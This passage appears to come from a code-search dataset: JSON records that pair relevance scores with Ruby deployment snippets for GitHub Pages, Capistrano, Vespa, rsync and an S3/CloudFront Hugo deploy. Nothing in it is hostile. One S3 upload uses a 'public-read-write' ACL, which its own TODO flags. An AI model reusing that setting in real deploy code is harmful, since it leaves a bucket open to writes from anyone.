Dir.mktmpdir do |tmp|\n FileUtils.cp_r \"_site/.\", tmp\n \n pwd = Dir.pwd\n Dir.chdir tmp\n\n cmd \"git init\"\n cmd \"git add .\"\n message = \"Site updated at #{Time.now.utc}\"\n cmd \"git commit -m #{message.inspect}\"\n cmd \"git remote add origin git@github.com:#{GITHUB_REPONAME}.git\"\n cmd \"git push origin master:refs/heads/gh-pages --force\"\n\n Dir.chdir pwd\n end\n inform \"Publish successful\"\n end", "title": "" }, { "docid": "58a7a2ced1b3228bc4659145cb242e74", "score": "0.63372624", "text": "def deploy\n\t# This task is typiclly run after the site is updated but before the server is restarted.\n\tcall 'migrate'\nend", "title": "" }, { "docid": "31fb38e9d08a6d4066d77eceea8d770a", "score": "0.62760055", "text": "def deploy(server, location, deployment)\r\n IIS.server.deploy(server, location, deployment)\r\n end", "title": "" }, { "docid": "63574495da58024c85ff76a682bd5324", "score": "0.6259989", "text": "def allow_production; end", "title": "" }, { "docid": "f186485a2904680601b507950b4161e1", "score": "0.62163556", "text": "def deploy_application\n deploy(selfdir + \"app\")\n end", "title": "" }, { "docid": "a2cf9a47820e8f31eb26ad9a18ae3492", "score": "0.6121292", "text": "def deploy_local(appdir, appname, params={})\n @vespa.deploy_local(appdir, appname, @vespa.nodeproxies[hostlist.first], selfdir, params)\n end", "title": "" }, { "docid": "5977b758b7b5ea74d45c06ad763d5dd5", "score": "0.61032796", "text": "def copy_site\n target_dir = File.join(@deploy_dir, @remote_path).sub(/\\/$/,'')\n FileUtils.cp_r @local + '/.', target_dir\n message = \"Site updated at: #{Time.now.utc}\"\n `git add --all .`\n `git commit -m \\\"#{message}\\\"`\n end", "title": "" }, { "docid": "8c12cd0bcd8b596cf15f6c4282c1904c", "score": "0.60933685", "text": "def before_deploy_site\n create\n end", "title": "" }, { "docid": "958616007e4073d9fad6bf28186483af", "score": "0.6084226", "text": "def deploy\n cmd = \"deploy #{@resource[:source]} --name=#{@resource[:name]}#{runtime_name_param_with_space_or_empty_string}\"\n if @resource[:runasdomain]\n cmd = append_groups_to_cmd(cmd, @resource[:servergroups])\n end\n cmd = \"#{cmd} --force\" if force_deploy?\n display_lines 100\n bring_up 'Deployment', cmd\n @resource[:name]\n end", "title": "" }, { "docid": "62ec045e69742fe203458148a19cbe7d", "score": "0.5936906", "text": "def deploy_to_base_dir\n # stage[:deploy_to] || '/sites' # TODO: verify if server setup supports `:deploy_to` override\n Pvcglue.configuration.web_app_base_dir # TODO: server setup does not yet support `:deploy_to` override, and would have to be refactored at a higher level than stage.\n end", "title": "" }, { "docid": "4239c2805d183c430b1bb65d77c09d91", "score": "0.59214306", "text": "def build\n site.process\n end", "title": "" }, { "docid": "e586186c53ca0f3ba4439a6678de00f4", "score": "0.5920675", "text": "def push\n if File.exist?(@local)\n check_branch\n init_repo\n puts \"Syncing #{@local.sub(Dir.pwd.strip+'/', '')} files to #{@repo}.\"\n FileUtils.cd @deploy_dir do\n git_pull\n clean_deploy\n copy_site\n git_push\n end\n else\n abort \"Cannot find site build at #{@local}. Be sure to build your site first.\"\n end\n end", "title": "" }, { "docid": "01ac46d8db174ba4f60009f3d0332791", "score": "0.5895286", "text": "def deploy\n params = {\n :migrate => migrate,\n :ref => ref,\n }\n params[:serverside_version] = serverside_version if serverside_version\n params[:migrate_command] = migrate_command if migrate\n update_with_response api.post(collection_uri + \"/deploy\", 'deployment' => params)\n end", "title": "" }, { "docid": "d068ef8e6ce7f0ab3161ebec764e5fac", "score": "0.58870727", "text": "def deploy\n if phase.has_key?('deploy')\n execute(\"deploy\", phase['deploy'])\n end\n end", "title": "" }, { "docid": "cec71a81d6e497838b16c69f48522cdc", "score": "0.58819014", "text": "def server_url\n 'dkdeploy.dev'\n end", "title": "" }, { "docid": "723c633fba00fa96dcda2d6f34a36020", "score": "0.58395106", "text": "def deploy\n unless ITEMS[:project].has_value? SETTINGS[:project]\n raise \"Invalid project: #{SETTINGS[:project]}.\"\n end\n\n # Call the original deploy method.\n orig_deploy\n end", "title": "" }, { "docid": "fb4a1f6ad19bd3657afeea9c1ac7f755", "score": "0.581843", "text": "def deploy\n\t\t\tdeployPlanString = @repo.get_file_content('.deploy_plan.xml',@params['commit']||@params['branch'])\n\t\t\txmlRoot = XmlUtils.get_xml_root(deployPlanString)\n\t\t\t# select plan\n\t\t\tplanNode = XmlUtils.single_node(xmlRoot,'plan')\n\t\t\t# for each deploy\n\t\t\tdeployNode = XmlUtils.single_node(planNode,'deploy')\n\t\t\t# create client for kind/method\n\t\t\t@site_client = DesignShell::SiteClient.new({\n\t\t\t\t:site_url => @params['site_url'],\n\t\t\t\t:site_username => @params['site_username'],\n\t\t\t\t:site_password => @params['site_password'],\n\t\t\t})\n\t\t\tds = @site_client.deploy_status\n\t\t\tsite_repo_url = ds && ds['repo_url'].to_nil\n\t\t\tsite_branch = ds && ds['branch'].to_nil\n\t\t\tsite_commit = ds && ds['commit'].to_nil\n\t\t\trepo_url = @repo.url\n\t\t\t# @todo must limit uploads to build folder\n\t\t\tfromPath = MiscUtils.ensure_slashes(XmlUtils.peek_node_value(deployNode,'fromPath','/'),false,true) # eg. /build/bigcommerce effectively selects a subfolder that should be debased\n\t\t\ttoPath = MiscUtils.ensure_slashes(XmlUtils.peek_node_value(deployNode,'toPath','/'),false,true) # eg. / effectively the new base for these files\n\t\t\tif site_repo_url && site_repo_url==repo_url && site_branch && site_commit\n\t\t\t\t# incremental\n\t\t\t\tchanges = @repo.changesBetweenCommits(site_commit,@repo.head.to_s)\n\t\t\t\tuploads,deletes = convertChangesToUploadsDeletes(changes)\n\t\t\t\tuploads.delete_if { |fp| !fp.begins_with?(fromPath) }\n\t\t\t\tdeletes.delete_if { |fp| !fp.begins_with?(fromPath) }\n\t\t\t\t@site_client.delete_files(deletes,fromPath,toPath)\n\t\t\t\t@site_client.upload_files(@repo.path,uploads,fromPath,toPath)\n\t\t\t\t@site_client.deploy_status = {\n\t\t\t\t\t:repo_url => @repo.url,\n\t\t\t\t\t:branch => @repo.branch,\n\t\t\t\t\t:commit => @repo.head.to_s,\n\t\t\t\t :fromPath => fromPath,\n\t\t\t\t :toPath => toPath\n\t\t\t\t}\n\t\t\telse\n\t\t\t\t# complete\n\t\t\t\t# for now, just deploy all files in wd, creating folders as necessary\n\t\t\t\t# later, delete remote files not in wd except for eg. .deploy-status.xml and perhaps upload folders\n\t\t\t\tuploads = MiscUtils.recursive_file_list(@repo.path,false)\n\t\t\t\tuploads.delete_if do |fp|\n\t\t\t\t\t!fp.begins_with?(fromPath) || fp.begins_with?('.git/')\n\t\t\t\tend\n\t\t\t\t@site_client.upload_files(@repo.path,uploads,fromPath,toPath)\n\t\t\t\t@site_client.deploy_status = {\n\t\t\t\t\t:repo_url => @repo.url,\n\t\t\t\t\t:branch => @repo.branch,\n\t\t\t\t\t:commit => @repo.head.to_s,\n\t\t\t\t\t:fromPath => fromPath,\n\t\t :toPath => toPath\n\t\t\t\t}\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "11676e29e96419a6de710c14aca990a9", "score": "0.58113354", "text": "def deploy\n update_repositories\n sync_service_environment_files\n # deploy_services\n response\n end", "title": "" }, { "docid": "1df514547108fbae2cdb2fbdd9847066", "score": "0.5808401", "text": "def remote_deploy(options={})\n @cartridge_model.do_control('update-configuration',\n @cartridge_model.primary_cartridge,\n pre_action_hooks_enabled: false,\n post_action_hooks_enabled: false,\n out: options[:out],\n err: options[:err])\n\n deploy(options)\n\n if options[:init]\n primary_cart_env_dir = PathUtils.join(@container_dir, @cartridge_model.primary_cartridge.directory, 'env')\n primary_cart_env = ::OpenShift::Runtime::Utils::Environ.load(primary_cart_env_dir)\n ident = primary_cart_env.keys.grep(/^OPENSHIFT_.*_IDENT/)\n _, _, version, _ = Runtime::Manifest.parse_ident(primary_cart_env[ident.first])\n\n @cartridge_model.post_install(@cartridge_model.primary_cartridge,\n version,\n out: options[:out],\n err: options[:err])\n\n end\n end", "title": "" }, { "docid": "2c053048f5f2dcab50c9bde337d8e95c", "score": "0.579709", "text": "def deploySource\n verifyOS\n timeDate = Time.new\n vConfig(CONFIG['configWebsite'])\n read_json(CONFIG['configWebsite'])\n branchSource = @parse_json_config['deploy']['branch']['source']\n msgCommit = @parse_json_config['deploy']['github']['config']['commit']\n add_repo_git(\".\")\n add_remoteurl(\".\")\n pull_execute(branchSource, \".\")\n git_checkout(branchSource, \".\")\n system_commands(\"echo Deploy source files. Wait ...\")\n system_commands(\"git add .\")\n system_commands(\"git commit -m \\\"#{msgCommit} - #{timeDate.inspect}\\\"\")\n system_commands(\"git push origin -u #{branchSource}\")\n end", "title": "" }, { "docid": "c67e66fdd33982f0a705900060921ea1", "score": "0.57843536", "text": "def build_site(config_options)\n t = Time.now\n display_folder_paths(config_options)\n if config_options[\"unpublished\"]\n Bridgetown.logger.info \"Unpublished mode:\",\n \"enabled. Processing documents marked unpublished\"\n end\n Bridgetown.logger.info \"Generating…\"\n @site.process\n Bridgetown.logger.info \"Done! 🎉\", \"#{\"Completed\".bold.green} in less than \" \\\n \"#{(Time.now - t).ceil(2)} seconds.\"\n\n return unless config_options[:using_puma]\n\n require \"socket\"\n external_ip = Socket.ip_address_list.find do |ai|\n ai.ipv4? && !ai.ipv4_loopback?\n end&.ip_address\n scheme = config_options.bind&.split(\"://\")&.first == \"ssl\" ? \"https\" : \"http\"\n port = config_options.bind&.split(\":\")&.last || ENV[\"BRIDGETOWN_PORT\"] || 4000\n Bridgetown.logger.info \"\"\n Bridgetown.logger.info \"Now serving at:\", \"#{scheme}://localhost:#{port}\".magenta\n Bridgetown.logger.info \"\", \"#{scheme}://#{external_ip}:#{port}\".magenta if external_ip\n Bridgetown.logger.info \"\"\n end", "title": "" }, { "docid": "024d264d48479afec9930b674143f500", "score": "0.5782904", "text": "def deploy\n @operation = \"Deploy\"\n build_env = project[:build_env] || \"\"\n\n prepare_local_dir do\n run_cmd \"cap -q deploy #{build_env}\"\n run_cmd \"cap -q deploy:migrate #{build_env}\"\n run_cmd \"cap -q deploy:cleanup #{build_env}\"\n end\n end", "title": "" }, { "docid": "f7d067ef9f4fd17109cb815905c9973b", "score": "0.57794666", "text": "def deploy?; run_options[:deploy]; end", "title": "" }, { "docid": "f51550956e9e822d04d6d7a885f5a586", "score": "0.5778838", "text": "def run\n @production\n end", "title": "" }, { "docid": "7c93af4a338f2404040955ca1735ff2e", "score": "0.5771456", "text": "def deploy(id, host, remote_dfile, not_used)\n local_dfile = get_local_deployment_file(remote_dfile)\n\n if !local_dfile || File.zero?(local_dfile)\n send_message(ACTION[:deploy],RESULT[:failure],id,\n \"Can not open deployment file #{local_dfile}\")\n return\n end\n \n local_action(\"#{@actions_path}/deploy #{host} #{local_dfile}\",id,:deploy)\n end", "title": "" }, { "docid": "168b4230a93dab349d8ef3ab3d79b5cc", "score": "0.575868", "text": "def deploy(id, host, remote_dfile, not_used)\n error = \"Action not implemented by driver #{self.class}\"\n send_message(ACTION[:deploy],RESULT[:failure],id,error)\n end", "title": "" }, { "docid": "f4b2a1679f502efe8f2798e12d32761c", "score": "0.57585233", "text": "def deploy_generated(applicationbuffer, sdfile=nil, params={}, hostsbuffer=nil, deploymentbuffer=nil, validation_overridesbuffer=nil)\n @vespa.deploy_generated(applicationbuffer, sdfile, params, hostsbuffer, deploymentbuffer, validation_overridesbuffer)\n end", "title": "" }, { "docid": "9d3246ef73c9103dc4d651d645995750", "score": "0.57397145", "text": "def deploy(sites, env, action=\"deploy\")\n\t\t# Detect if we need to go into maintenance mode\n\t\tmaintenance_flag = maintenance?()\n\n\t\tif maintenance_flag\n\t\t\tvalidate_execution(maintenance('on', @maintenance_list, env))\n\t\tend\n\n\t\t#Deploy...\n\t\tsites.each do |site| \n\t\t\tvalidate_execution(cap_deploy(site, env, maintenance_flag, action))\n\t end\n\n\t # Go out from maintenance if needed\n\t\tif maintenance_flag\n\t\t\tvalidate_execution(maintenance('off', @maintenance_list, env))\n\t\tend\n\n\tend", "title": "" }, { "docid": "ec2dcedf321c110725397c3675ef12ba", "score": "0.5735595", "text": "def production?\n config[:target] == :production\n end", "title": "" }, { "docid": "276a0cd96d7d5f85893e6c79296aa488", "score": "0.5711296", "text": "def production\n if Rails.env.production?\n head :ok\n else\n head :internal_server_error\n end\n end", "title": "" }, { "docid": "a7621a04287576f5c5d2e9f02dfae0e7", "score": "0.5682403", "text": "def generate(site)\n serving = site.config['serving']\n ENV['JEKYLL_ENV'] ||= serving ? 'development' : 'production'\n generate_vite_build(site) unless serving\n end", "title": "" }, { "docid": "899ebafa07e820a4a234fb4680a349c9", "score": "0.56798625", "text": "def prepare_for_production\n root_glob = combined_app_root_glob(false)\n root_re = combined_app_root_regexp(false)\n\n # Load application modules\n path_re = /#{root_re}(?<path>.*)/\n Dir.glob(File.join(root_glob, '**/*')) do |file|\n if File.directory? file\n file.match(path_re) do |m|\n mod = File.join(file, File.basename(file)) << '.rb'\n if File.file? mod\n require_for_production mod\n else\n Object.const_set_recursive(m[:path].camelize, Module.new)\n end\n end # match\n end # if\n end\n\n # Load templates\n file_re = /#{root_re}(?<path>.*)\\/.*\\.(?<template>.*)\\./\n Dir.glob(File.join(root_glob, \"**/*#{TEMPLATE_EXT}\")) do |file|\n file.match(file_re) do |m|\n ios = StringIO.new\n TemplateCompiler.compile_template(\n ios, File.read(file), m[:path].camelize, m[:template],\n false, @context.timers\n )\n m[:path].camelize.constantize.class_eval(ios.string)\n end # match\n end # glob\n\n # Load CSS\n css = CssCompressor.compress(compile_css(StringIO.new).string)\n Application.use(Rack::FrozenRoute, %r{/bundle.css}, 'text/css', css)\n Application.pull_down(Rack::StaticDir)\n end", "title": "" }, { "docid": "56582641d45d09f59c515cd3c954dbc3", "score": "0.5670275", "text": "def frontend_deploy_path\n deploy_path.join('frontend')\nend", "title": "" }, { "docid": "faf5bf6b57b4f3249bef606ddd713b34", "score": "0.56677026", "text": "def deploy_to\n \"/data/#{app_name.downcase}/app\"\n end", "title": "" }, { "docid": "3c5090969cc9eb126eb105c273caf1dc", "score": "0.5658878", "text": "def ship_site\n result = `ssh -t #{USERNAME}@#{STAGING_SERVER} 'rsync /var/www/#{SITECODE} #{USERNAME}@#{PRODUCTION_SERVER}:/var/www/#{SITECODE}'`\n if $?.success?\n puts 'Site files shipped to prod.'\n else\n puts 'FAILED shipping site files to prod.'\n puts result\n exit(4)\n end\nend", "title": "" }, { "docid": "f4e3d5ba8921ac985993afa6eb8cdcef", "score": "0.5648058", "text": "def deploy(package_path, opts={}, &block)\n end", "title": "" }, { "docid": "09a93e97ea00cffec7c56a9f1b119710", "score": "0.5645718", "text": "def do_deploy()\n require 'digest/md5'\n require 'aws-sdk'\n require 'progressbar'\n require 'simple-cloudfront-invalidator'\n require 'yaml'\n\n # Validation check for environment variables\n if (!ENV['AWS_S3_BUCKET'] ||\n !ENV['AWS_ACCESS_KEY_ID'] ||\n !ENV['AWS_SECRET_ACCESS_KEY'] ||\n !ENV['AWS_CLOUDFRONT_DIST_ID'] ||\n !ENV['AWS_HOST_NAME'] )\n puts(\"The below required environment variable(s) have not been defined.\\n\"\\\n \"Without them, the Deploy process cannot complete.\\n\"\\\n \"Please verify that they have been correctly defined.\")\n puts(\" * AWS_S3_BUCKET\") if (!ENV['AWS_S3_BUCKET'])\n puts(\" * AWS_ACCESS_KEY_ID\") if (!ENV['AWS_ACCESS_KEY_ID'])\n puts(\" * AWS_SECRET_ACCESS_KEY\") if (!ENV['AWS_SECRET_ACCESS_KEY'])\n puts(\" * AWS_CLOUDFRONT_DIST_ID\") if (!ENV['AWS_CLOUDFRONT_DIST_ID'])\n puts(\" * AWS_HOST_NAME\") if (!ENV['AWS_HOST_NAME'])\n exit()\n end\n\n puts(\"========================================\")\n puts(\"Beginning Deploy Process...\")\n\n # Capture Hugo's config.yaml while we're in the same directory\n config_file = YAML.load_file('config.yaml')\n\n # Make sure we actually loaded a file, and didn't just set `config_file` to\n # the string \"config.yaml\".\n if (config_file == \"config.yaml\")\n Kernel.abort(\"ERROR: Could not find 'config.yaml'. Are you running Rake \"\\\n \"from the correct directory?\")\n end\n\n # Move into the Hugo destination directory, so file names are only prefixed\n # with \"./\"\n Dir.chdir(File.join(Dir.pwd, \"#{$hugo_dest}\"))\n\n # Generate a list of every file in $hugo_dest, and `map` them into the form,\n # [[\"«file_name»\", \"«md5sum»\"], ... ]\n puts(\" Aggregating Local Hash List...\")\n local_file_list = Dir[\"./**/*\"]\n .select { |f| File.file?(f) }\n .sort_by { |f| f }\n .map { |f|\n # The file names have a leading `./`. Strip those.\n [f[2..-1], Digest::MD5.file(f).hexdigest] }\n\n\n # Open up a connection to our S3 target bucket\n puts(\" Opening S3 Connection...\")\n aws_bucket = Aws::S3::Bucket.new(ENV['AWS_S3_BUCKET'], {\n :region => \"us-east-1\",\n :access_key_id => ENV['AWS_ACCESS_KEY_ID'],\n :secret_access_key => ENV['AWS_SECRET_ACCESS_KEY'],\n })\n\n # Fetch all objects from the remote, and `map` them into the form,\n # [[\"«file_name»\", \"«md5sum»\"], ... ]\n puts(\" Fetching Remote Object List (this may take up to ~30 seconds)...\")\n aws_file_list = aws_bucket\n .objects()\n .sort_by { |objs| objs.key }\n .map { |objs|\n # the etag (which is the md5sum) is wrapped in double-quotes. Strip those\n # by 'translating' them into empty strings.\n [objs.key, objs.etag.tr('\"','')] }\n\n\n # Now that we have the two lists, we need to compare them and generate the\n # list of files we need to upload, and the list of files we need to delete.\n # To do this, we're going to use some brute force.\n puts(\" Comparing Object Hashes...\")\n new_list = []\n updated_list = []\n delete_list = []\n lcl_i = 0\n aws_i = 0\n lcl_len = local_file_list.length\n aws_len = aws_file_list.length\n progress = ProgressBar.new(\" Hash check\", lcl_len)\n while true\n # Check if we've reached the end of either list and should break\n break if (lcl_i == lcl_len || aws_i == aws_len)\n lcl_file_name = local_file_list[lcl_i][0]\n aws_file_name = aws_file_list[aws_i][0]\n\n # Compare the file/object names\n case lcl_file_name <=> aws_file_name\n when 0 # File names are identical\n # Compare md5sums. If they don't match, add the file to the updated list.\n if (local_file_list[lcl_i][1] != aws_file_list[aws_i][1])\n updated_list.push(lcl_file_name)\n end\n # In either case, increment both index variables\n lcl_i += 1; progress.inc\n aws_i += 1\n when -1 # Local file name sorts first...\n # The local file doesn't exist on AWS. Add it to the new list.\n new_list.push(lcl_file_name)\n # And only increment the local index variable.\n lcl_i += 1; progress.inc\n when 1 # AWS object name sorts first...\n # The AWS object doesn't (or no longer) exist in the locally built\n # artifacts. Schedule it for deletion.\n delete_list.push(aws_file_name)\n # And only increment the aws index variable.\n aws_i += 1\n end\n end\n\n # If we're not at the end of the local file list, we need to add any new files\n # to the new list.\n while (lcl_i < lcl_len)\n new_list.push(local_file_list[lcl_i][0])\n lcl_i += 1; progress.inc\n end\n\n # If we're not at the end of the aws object list, we need to add those file to\n # the delete list.\n while (aws_i < aws_len)\n delete_list.push(aws_file_list[aws_i][0])\n aws_i += 1\n end\n progress.finish\n\n upload_list = updated_list + new_list\n\n puts(\" Hash Check complete\")\n puts(\" #{new_list.length} new files, and #{updated_list.length} updated..\")\n puts(\" #{upload_list.length} files need to be uploaded to the remote\")\n puts(\" #{delete_list.length} files need to be deleted from the remote\")\n current_time = Time.now.getutc.to_s.gsub(\" \",\"_\")\n File.open(\"new_file_list-#{current_time}.txt\", \"w+\") do |f|\n f.puts(new_list)\n end\n File.open(\"updated_file_list-#{current_time}.txt\", \"w+\") do |f|\n f.puts(upload_list)\n end\n File.open(\"deleted_list-#{current_time}.txt\", \"w+\") do |f|\n f.puts(delete_list)\n end\n\n\n # Upload the files in the upload updated and new lists, and delete the files\n # in the delete list.\n if (upload_list.length > 0)\n puts(\" Uploading files...\")\n progress = ProgressBar.new(\" Uploads\", upload_list.length)\n upload_list.each { |obj_path|\n #TODO: Generate a log of the uploaded files?\n #TODO: Error checking.\n #TODO: Stop publishing read/write.\n aws_bucket.put_object({\n acl: \"public-read-write\",\n key: obj_path,\n body: File.open(obj_path)\n })\n progress.inc\n }\n progress.finish\n else\n puts(\" No files to upload...\")\n end\n\n if (delete_list.length > 0)\n delete_list.each_slice(1000).with_index do |slice, index|\n index_from = index * 1000\n index_to = ((index+1)*1000) < delete_list.length ? ((index+1)*1000) : delete_list.length\n puts(\" Requesting Batch Delete for objects #{index_from}-#{index_to}...\")\n # Generate a Aws::S3::Types::Delete hash object.\n delete_hash = {\n delete: {\n objects: slice.map{ |f| { key: f } },\n quiet: false\n }\n }\n #TODO: Generate a log of the deleted files?\n begin\n response = aws_bucket.delete_objects(delete_hash)\n rescue Exception => e\n require 'pp'\n Kernel.abort(\"ERRROR: Batch Deletion returned with errors.\\n\"\\\n \" Delete Hash Object:\\n\"\\\n \"#{pp(delete_hash)}\\n\"\\\n \" Error message:\\n\"\\\n \"#{e.message}\")\n end\n if (response.errors.length > 0)\n require 'pp'\n Kernel.abort(\"ERRROR: Batch Deletion returned with errors\\n\"\\\n \" Delete Hash Object:\\n\"\\\n \"#{pp(delete_hash)}\\n\"\\\n \" Response Object:\\n\"\\\n \"#{pp(response)}\")\n end\n end\n else\n puts(\" No files to delete...\")\n end\n\n # Fetch and rewrite the S3 Routing Rules to make sure the 'latest' of every\n # project correctly re-route.\n puts(\" Configuring S3 Bucket Website redirect rules...\")\n\n # Open an S3 connection to the Bucket Website metadata\n aws_bucket_website = Aws::S3::BucketWebsite.new(ENV['AWS_S3_BUCKET'], {\n :region => \"us-east-1\",\n :access_key_id => ENV['AWS_ACCESS_KEY_ID'],\n :secret_access_key => ENV['AWS_SECRET_ACCESS_KEY'],\n })\n\n # Build the routing rules based on the config.yaml's 'project_descripts'. One\n # routing rule per project.\n routing_rules = []\n config_file['params']['project_descriptions'].each do |project, description|\n path = description['path']\n archived_path = description['archived_path']\n ver = description['latest']\n routing_rules.push(\n {\n :condition => { :key_prefix_equals => \"#{archived_path}/latest/\" },\n :redirect => { :replace_key_prefix_with => \"#{path}/#{ver}/\",\n :host_name => ENV['AWS_HOST_NAME'] }\n }\n )\n routing_rules.push(\n {\n :condition => { :key_prefix_equals => \"#{archived_path}/latest\" },\n :redirect => { :replace_key_prefix_with => \"#{path}/#{ver}/\",\n :host_name => ENV['AWS_HOST_NAME'] }\n }\n )\n routing_rules.push(\n {\n :condition => { :key_prefix_equals => \"#{path}/latest/\" },\n :redirect => { :replace_key_prefix_with => \"#{path}/#{ver}/\",\n :host_name => ENV['AWS_HOST_NAME'] }\n }\n )\n routing_rules.push(\n {\n :condition => { :key_prefix_equals => \"#{path}/latest\" },\n :redirect => { :replace_key_prefix_with => \"#{path}/#{ver}/\",\n :host_name => ENV['AWS_HOST_NAME'] }\n }\n )\n end\n #TODO: We need to implement some way of adding arbitrary routing rules. Maybe\n # add a section in config.yaml that's just a JSON string that we parse?\n riak_path = config_file['params']['project_descriptions']['riak_kv']['path']\n riak_ver = config_file['params']['project_descriptions']['riak_kv']['latest']\n routing_rules.push(\n {\n :condition => { :key_prefix_equals => \"riakee/latest/\" },\n :redirect => { :replace_key_prefix_with => \"#{riak_path}/#{riak_ver}/\",\n :host_name => ENV['AWS_HOST_NAME'] }\n }\n )\n routing_rules.push(\n {\n :condition => { :key_prefix_equals => \"riakee/latest\" },\n :redirect => { :replace_key_prefix_with => \"#{riak_path}/#{riak_ver}\",\n :host_name => ENV['AWS_HOST_NAME'] }\n }\n )\n routing_rules.push(\n {\n :condition => { :key_prefix_equals => \"riakts/\" },\n :redirect => { :replace_key_prefix_with => \"riak/ts/\",\n :host_name => ENV['AWS_HOST_NAME'] }\n }\n )\n\n new_website_configuration = {\n :error_document => {:key => \"404.html\"},\n :index_document => aws_bucket_website.index_document.to_hash,\n :routing_rules => routing_rules\n }\n\n aws_bucket_website.put({ website_configuration: new_website_configuration })\n\n # Invalidate any files that were deleted or modified.\n cf_client = SimpleCloudfrontInvalidator::CloudfrontClient.new(\n ENV['AWS_ACCESS_KEY_ID'], ENV['AWS_SECRET_ACCESS_KEY'],\n ENV['AWS_CLOUDFRONT_DIST_ID'])\n invalidation_list = updated_list + delete_list\n if (invalidation_list.length == 0)\n puts(\" No files to invalidate...\")\n elsif (invalidation_list.length < 500)\n # The invalidation list is sufficiently short that we can invalidate each\n # individual file\n invalidation_list.each_slice(100).with_index do |slice, index|\n index_from = (index*100)\n index_to = ((index+1)*100) < delete_list.length ? ((index+1)*100) : delete_list.length\n puts(\" Sending Invalidation Request for objects #{index_from}-#{index_to}...\")\n cf_report = cf_client.invalidate(slice)\n end\n else\n # The invalidation list is large enough that we should skip getting charged\n # and invalidate the entire site.\n puts(\" Sending Invalidation Request for the entire site (\\\"/*\\\")...\")\n cf_report = cf_client.invalidate(['/*'])\n end\n\n puts(\"\")\n puts(\"Deploy Process Complete!\")\n puts(\"========================================\")\nend", "title": "" }, { "docid": "5d937873d188be31f7b23465222beb90", "score": "0.56438464", "text": "def perform_deployment\n \tself.started_at = Time.now \t\n \tline = Cocaine::CommandLine.new(\"cd /home/mohkhan.Desktop/SFDC_DeplomentScripts && perl fetch_and_deploy.pl -r #{self.release} -d <#{self.target_config_name}> --mode=#{self.mode}\")\n \tline.run\n \tself.ended_at = Time.now\n \tself.status = \"deployed\"\n \tself.save\n end", "title": "" }, { "docid": "02240149850aaa62f89d9578b6bc0e7e", "score": "0.5576857", "text": "def create\n deploy\n end", "title": "" }, { "docid": "277669b9770b487dd05e795f73c9ba49", "score": "0.55760413", "text": "def deploy_app(app, deploy_params = {})\n deploy_generated(app.services_xml, app.sd_files,\n deploy_params.merge(app.deploy_params), app.hosts_xml, nil, app.validation_overrides_xml)\n end", "title": "" }, { "docid": "7e4cc6adef398fb56d785a45ed8ddb61", "score": "0.55760175", "text": "def gen_deploy(deploy_id, slug_url, config)\n require 'erb'\n require 'shellwords'\n template = ERB.new(File.read(File.join(data_dir, 'deploy.bash.erb')))\n template.result(binding)\n end", "title": "" }, { "docid": "2f68d7a546d93594b67d202097917ff1", "score": "0.5566713", "text": "def allow_production=(_arg0); end", "title": "" }, { "docid": "84e423cb7681fc24a0b50533c4f9b77f", "score": "0.5565068", "text": "def deploy_remote_sdfile(application_package, sd_filename, params={})\n remotehost = hostlist.first\n proxy = @vespa.nodeproxies[remotehost]\n content = proxy.readfile(sd_filename)\n local_sdfilename = selfdir+File.basename(sd_filename)\n File.open(local_sdfilename, \"w\") do |file|\n file.write(content)\n end\n deploy(application_package, local_sdfilename, params)\n FileUtils.rm_rf(local_sdfilename)\n end", "title": "" }, { "docid": "3c8009d9001194c444161135afc3ea0e", "score": "0.5551049", "text": "def prod_server\n PROD_SERVER\n end", "title": "" }, { "docid": "7bd3aa905b5ad2f7e894ae14774fd1cc", "score": "0.55361056", "text": "def deploy!\n # Load all the module code files.\n Dir.glob('handlers/*.rb') { |mod| load mod }\n\n RubotHandlers.constants.each do |name|\n const = RubotHandlers.const_get name\n if const.is_a? Module\n $handlers[name.to_s.downcase] = const\n end\n end\nend", "title": "" }, { "docid": "5cc27b8a62a60eec375b6970a848b215", "score": "0.55187684", "text": "def action_deploy\n set_state\n notifying_block do\n write_config\n run_syncdb\n run_migrate\n run_collectstatic\n end\n end", "title": "" }, { "docid": "b296acde28649ec0f27f06f656dde138", "score": "0.5496559", "text": "def default_deploy\n setup\n update_repo_tag\n push_repo\n maintenance_mode do\n run_migrations\n app_restart\n end\n warm_instance\n teardown\n end", "title": "" }, { "docid": "764b042bffe1d4d4fce8e793f575753b", "score": "0.54812145", "text": "def production? ; @app.options[:env] == :production ; end", "title": "" }, { "docid": "5b572edcdca369b9aac6311de626a8e3", "score": "0.546615", "text": "def register_as_deployed\n AddCommand.exec \"#{self.name}:#{self.root_path}\", 'servers' => [@shell]\n end", "title": "" }, { "docid": "54a5d8dbc5dea3fc3bedfcf729df796f", "score": "0.5458068", "text": "def prepare_deploy\n `cd #{self.project_root} && BUNDLE_GEMFILE=Gemfile bundle exec cap #{self.environment} deploy:setup -S phase=node_prepare HOSTS=#{self.hostname}`\n `cd #{self.project_root} && BUNDLE_GEMFILE=Gemfile bundle exec cap #{self.environment} deploy -S phase=node_prepare HOSTS=#{self.hostname}`\n end", "title": "" }, { "docid": "68167f241bcbfdbca7bd7f84eb803562", "score": "0.5455984", "text": "def install_server(project_path=nil)\n environments = Engineyard::Jenkins::AppcloudEnv.new.find_environments(options)\n if environments.size == 0\n no_environments_discovered and return\n elsif environments.size > 1\n too_many_environments_discovered(environments) and return\n end\n \n env_name, account_name, environment = environments.first\n if environment.instances.first\n public_hostname = environment.instances.first.public_hostname\n status = environment.instances.first.status\n end\n \n temp_project_path = File.expand_path(project_path || File.join(Dir.tmpdir, \"temp_jenkins_server\"))\n shell.say \"Temp installation dir: #{temp_project_path}\" if options[:verbose]\n \n FileUtils.mkdir_p(temp_project_path)\n FileUtils.chdir(temp_project_path) do\n # 'install_server' generator\n require 'engineyard-jenkins/cli/install_server_generator'\n Engineyard::Jenkins::InstallServerGenerator.start(ARGV.unshift(temp_project_path))\n\n say \"\"\n say \"Uploading to \"; say \"'#{env_name}' \", :yellow; say \"environment on \"; say \"'#{account_name}' \", :yellow; say \"account...\"\n require 'engineyard/cli/recipes'\n environment.tar_and_upload_recipes_in_cookbooks_dir\n\n if status == \"running\" || status == \"error\"\n say \"Environment is rebuilding...\"\n environment.run_custom_recipes\n watch_page_while public_hostname, 80, \"/\" do |req|\n req.body !~ /Please wait while Jenkins is getting ready to work/\n end\n\n say \"\"\n say \"Jenkins is starting...\"\n watch_page_while public_hostname, 80, \"/\" do |req|\n req.body =~ /Please wait while Jenkins is getting ready to work/\n end\n \n require 'jenkins'\n require 'jenkins/config'\n ::Jenkins::Config.config[\"base_uri\"] = public_hostname\n ::Jenkins::Config.store!\n \n say \"\"\n 